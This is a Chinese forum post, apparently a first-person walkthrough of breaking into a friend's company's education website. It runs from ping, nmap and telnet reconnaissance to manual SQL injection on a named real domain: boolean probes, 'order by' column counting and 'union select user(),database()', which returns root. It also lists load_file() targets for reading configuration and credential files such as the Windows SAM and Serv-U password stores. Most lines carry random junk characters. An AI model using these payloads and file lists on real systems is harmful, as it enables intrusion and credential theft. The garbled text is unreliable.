题记:
! ?# h% _( H- r3 W. v& C3 j& C8 S( j: G一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……! G+ C) d6 v; ]$ o
第一步:获取需要的信息+ n( W( _ `' j; ~5 m
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。3 U6 e- t$ S$ Y
注:以下为保护特用XXX代替敏感信息6 ~6 v) @5 f" W6 b
顺手先PING了一下他们的域名:
$ B _& Q k; jping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名) f1 ?8 C3 d$ p' F5 S3 \% _
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms c% S/ x# y, l3 L4 {, G' ^
顺便了解一下TTL,学好基础知识才能一路顺风:
# w6 u& X6 c+ O) D/ ], o" ]6 l- XTTL:(Time To Live ) 生存时间0 i; {5 d! _$ I% t5 x
指定数据包被路由器丢弃之前允许通过的网段数量。( ?$ U k( U1 |9 Q1 H8 Z
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
5 ^+ u, X# [1 z u8 `! ]使用PING时涉及到的 ICMP 报文类型
/ s0 r& v) x! |4 o. V* P. i" Z一个为ICMP请求回显(ICMP Echo Request): ]2 N+ B/ I2 z- r+ w( I: u
一个为ICMP回显应答(ICMP Echo Reply)5 H; r& D1 I: m3 O5 t/ Q
TTL 字段值可以帮助我们识别操作系统类型。
u% v$ \) k7 i' N% a7 iUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
/ t7 }% J4 r( z+ E; J$ l, |6 GCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
1 S' u/ Q. s; T. a- W% Y2 t4 {& ]4 Q微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128, A! L; d6 b" `* s e! ^
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
3 n) p9 O- n) Y+ Z/ N6 X" b+ V当然,返回的TTL值是相同的
2 |7 `: [, k' [: O' r但有些情况下有所特殊
7 O! V8 I: f2 k3 ULINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
3 h% {; C( Y9 P9 M9 T* PFreeBSD 4.1, 4.0, 3.4;
- V4 Y9 R8 c7 i: YSun Solaris 2.5.1, 2.6, 2.7, 2.8;' O2 x2 v+ D7 x7 T
OpenBSD 2.6, 2.7,5 B+ n% x/ R4 {& t* y
NetBSD/ U: d. t- t" N# z
HP UX 10.20
: l C' G7 F7 H/ P& o) y6 y& pICMP 回显应答的 TTL 字段值为 255
4 l. k* S: s& ~- C/ |8 g2 tWindows 95/98/98SE
( \9 {' z: |* Y5 X1 j$ W% d4 tWindows ME0 u5 X) \7 D; B0 T
ICMP 回显应答的 TTL 字段值为 32' G+ b+ a* l. e5 J1 h
Windows NT4 WRKS
* \& E. G3 I* Q' H0 eWindows NT4 Server. a& J% ?) n# M+ b2 s( ^
Windows 2000 g0 Q, w& }( a- c; T
Windows XP
: z# |+ c1 j5 f+ p# t+ a: CICMP 回显应答的 TTL 字段值为 128 Z; I: L# {" q' h6 r. {
这样,我们就可以通过这种方法来辨别操作系统1 R6 i% e7 s% h6 y
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
! M! d0 B$ j4 A1 a5 `' f用NMAP扫描一下:
6 C8 ]# S2 K7 g5 b8 Tnmap -sT -O XXX.XXX.XXX.XXX {, H$ V, M( N. n. S8 g# f
如果没有装WinPcap则会弹出提示:2 u: Y! i2 X4 }: x: O1 A2 D
WARNING: Could not import all necessary WinPcap functions. You may need to upgr% l9 x, x; ^9 t
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
/ l/ R* z& U% W! O$ y$ ]' A7 y) mode — Nmap may not function completely
z4 N+ `9 R8 s: jTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher# ?2 F4 j) F( X5 h) q6 M
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
1 q3 n. y& ~7 D& @. M" k6 y4 I2 jpcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
, l" v" k3 D K) Jd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v+ f3 g. k$ e* I' o, O
ersions, you may be able to take iphlpapi.dll from another system and place it i
- H* f2 C2 m' ]& @n your system32 dir (e.g. c:\windows\system32).
* q+ n9 u# h' P9 {- IQUITTING!+ W. Q+ t5 w( P. G2 w- c% S
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
1 [! `& {6 @3 N Q9 a0 o, p+ ?安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
* _! w4 o) \- d7 V' ]Interesting ports on XXX.XXX.XXX.XXX:
* a" d" Y$ q& B) X& T" @Not shown: 986 closed ports( j0 ?! U4 `) T7 c, y3 T) q
PORT STATE SERVICE! `2 }; X P* F1 D2 `
21/tcp open ftp
8 C7 ^+ a: f1 [0 m: f3 e X" `22/tcp open ssh* K7 D, _$ {2 a3 e" C
23/tcp open telnet Q- [1 c- N3 r; ?! R, y b/ W! H
80/tcp open http* u0 ?! h" P* U+ q. h7 p
111/tcp open rpcbind* M& i+ @" Z) _3 Z( G
135/tcp filtered msrpc9 {6 w" j( n8 s8 Q4 Q1 V
139/tcp filtered netbios-ssn4 D) m; G/ H0 Y( H" v$ _
445/tcp filtered microsoft-ds
5 ~; x* z5 E" L& _- K513/tcp open login
% I0 `, G9 ~$ g5 c514/tcp open shell( q$ E/ V6 s' g7 x% i
593/tcp filtered http-rpc-epmap" H- H" A$ Z! D$ _6 C' v
1720/tcp filtered H.323/Q.931! v4 {% H; E ]
3306/tcp open mysql Z6 i: N/ H5 H; L9 W9 n
4444/tcp filtered krb524
$ L# u. G7 n* r' c2 Y, CDevice type: WAP' H {$ m7 ?9 I* q2 U5 H
Running: Linux 2.4.X
& d* L2 _6 Z \0 SOS details: DD-WRT (Linux 2.4.35s)
( \1 ~0 a4 y) x+ ~Network Distance: 13 hops
2 n& u1 R5 I/ A6 D F看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
' S- B! k- W7 e2 Vlogin as:3 @: U- |! X2 W, c
Telnet23端口也是开着的,用telnet 命令链接一下:! K0 H' l3 B% Q! P
telnet XXX.XXX.XXX.XXX! T/ H" ^" z" m( o/ l) ]
提示:; r3 K$ I/ i, T M
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
W0 j9 |, s4 eKernel 2.6.18-92.el5PAE on an i686( l$ w1 @, s, Q+ X6 [" x, |/ _
login:+ J0 k( M# Z q/ w. o% E- W$ p
获取HTTP头信息:
" f8 y9 @3 i1 t* w' I" i在本地执行如下PHP代码# q$ k0 g; [# j' K" m+ a
<?php
; |6 b* s7 U$ I/ g; V7 ~$url = ‘XXX.XXX.XXX.XXX’;% l. `! j) q, V4 {
print_r(get_headers($url));! d" B3 W9 {; k( E
print_r(get_headers($url, 1));' B$ b5 y4 P# d. _5 i# e, I" G
?>' b( A3 j7 c- ~ s3 ~
将以上代码保存为PHP文件,执行:
) _ Z* T! x8 eArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )% e5 M7 S% e6 Z! F8 Y) w! W+ K
现在可以得出结论:
+ G" K1 I5 J: r, G0 y% E. m; B4 [' [0 {系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
$ b+ h$ q: {3 F内核版本:Kernel 2.6.18-92.el5PAE on an i686; u+ n/ L' s5 C/ L3 i6 @% d( @) {$ B
WEB服务器版本:nginx/0.7.613 y! d" U% ]) ?( r/ N
第二步,开始测试寻找漏洞# Z) ?; S" u3 E* Z
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
4 I1 X+ ]! l( W1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
5 R. |2 @8 R% T1 s$ `( l2、测试方法:在地址后加 and 1=1 和 and 1=2 测试4 U2 Z" `, w7 y8 j6 h9 |
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
( B. n) U+ T, B( v0 m5 t1 Uhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
% i4 Z8 x, y) k# J恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续0 M" h* U6 Q2 R) ~1 X" r. P( B
3、手工注入:
$ `0 O9 b4 A9 l( {, V: V注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。" @1 {+ m8 r5 W- O0 D! V( Z
3.1 猜测当前表字段数
& g# p L. Q: p2 o+ khttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10: _% B, b. I5 V9 d
此处猜测有个简单的算法,都是有技巧的吗,呵呵
# i3 H, Z* ^6 w% H2 u: A9 }2 X算法简单如下:0 x8 r* e$ G9 g4 I
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
/ ^+ t4 x; K: T* L第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;% r1 @6 |6 L* ]0 m1 Y g$ |
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。* M2 V- V- J' r" v& p# F8 K
以此来判断,是否过界,配合取中算法猜出字段数。: S. H7 F% T% N9 a
举例:
$ H6 O3 i: ^) J& c3 Shttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常( B5 B! ?; B/ r, u; O( f7 K
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误6 Y; E' B: m1 m! g
此时3则为我们要找的字段数。$ z( x6 U1 @9 S% i: k, b
3.2 配合union联合查询字段在页面所位置
# |# D9 ], J2 T0 a8 f5 `我们已经知道了字段数为3,此时则可以做如下操作:
3 Y) K) Q2 b! Shttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3- t/ C d& b) h/ G j. y
. O/ y, {! C/ ]9 Z! U3 s8 l
这样就可以测试到哪些字段在页面上有所显示了,如图:
! S( c4 l0 d) ?, z9 R# m$ `- J3 }4 ], z! b8 x
3.3 查敏感信息
" i4 d- O8 l- U# u这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。" h, ]+ ^% A5 M3 u" f0 W! @: X2 P
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
$ G- K) _" w5 e S' l- w5 ]3.3.1 先查数据库用户、数据库名,以备后用,如图:
/ i, N7 r0 T9 X# [( z1 d) U6 |" k* K$ Q4 N8 h" l+ z8 E$ {, }. T
得到数据库用户为root、数据库名为DBxx;
' J7 e' t3 _+ E+ K+ ~& s3.3.2 查配置文件
Q: q3 W6 ]) Y- {0 f. @查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。* }! | J' H/ ]9 X7 Y: w
查看文件有一定的条件限制:! n& N( i: b$ E/ `$ Z" l9 }
欲读取文件必须在服务器上
% P1 Q8 M6 ~- f$ [) Z& T7 B必须指定文件完整的路径# N$ Y: W) S6 o
必须有权限读取并且文件必须完全可读: ]4 n3 m/ }3 y! ?6 B
欲读取文件必须小于 max_allowed_packet# ~; Z4 U( Y/ z
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。. o" V) ?3 L: c5 Q0 e& J
常用的一些:
& W6 y/ Y+ T7 a/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
; u$ F6 d2 u, b0 \/usr/local/apache2/conf/httpd.conf, t6 k7 W8 ]2 I. B/ d2 ^! u
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
% Z$ R! b6 S' b. t, T" {/usr/local/app/php5/lib/php.ini //PHP相关设置
/ c0 p7 u" s0 h/etc/sysconfig/iptables //从中得到防火墙规则策略
/ Z! t# O D0 x) e* Z9 G' u8 O M5 w' F/etc/httpd/conf/httpd.conf // apache配置文件
0 B1 y6 _) F# Y9 A) K1 k/etc/rsyncd.conf //同步程序配置文件
6 t, h! m$ A. v2 i( l5 t/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.' e2 C9 C: Q( y3 q9 J6 a
/etc/my.cnf //mysql的配置文件
; f. O; I5 P' k/etc/redhat-release //系统版本- K6 D9 m# f# Q+ S8 b8 u. g
/etc/issue
3 r: n4 ^- l9 `/etc/issue.net6 j4 H* [# [. c0 Q/ c
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码2 d! [7 [. C1 P7 c6 s; Y g
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码: K9 u& t v6 o2 Z+ O7 [$ s
c:\Program Files\Serv-U\ServUDaemon.ini
7 {$ e3 s! V V+ A& dc:\windows\my.ini //MYSQL配置文件
+ k' |. T) ?% N& z/ Bc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
$ x5 e( ?3 q! Y2 B7 I等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
; G8 G3 k# V6 X' {4 Pc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码% a( |- B# K. x5 ` {. N2 x
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
$ u7 I1 }* C) W& ?c:\Program Files\RhinoSoft.com\ServUDaemon.exe
* [: E; B' N8 m% K- ?C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件9 ~! Y* W; r# `
//存储了pcAnywhere的登陆密码6 K8 } K; P4 W: u. V2 s- V
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
6 K4 q2 N# o$ a+ T7 f! E; O: |这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
# ?. e) }8 k$ t. N最后:防范措施+ |+ m5 a. s! M' x
1、修复PHP注入漏洞;
% n! V: m" T# @1 W) S2、Mysql使用普通权限的用户;
; r2 G* W6 @8 y0 f/ |$ w& n' @ e$ y3、升级linux内核至最新版本; |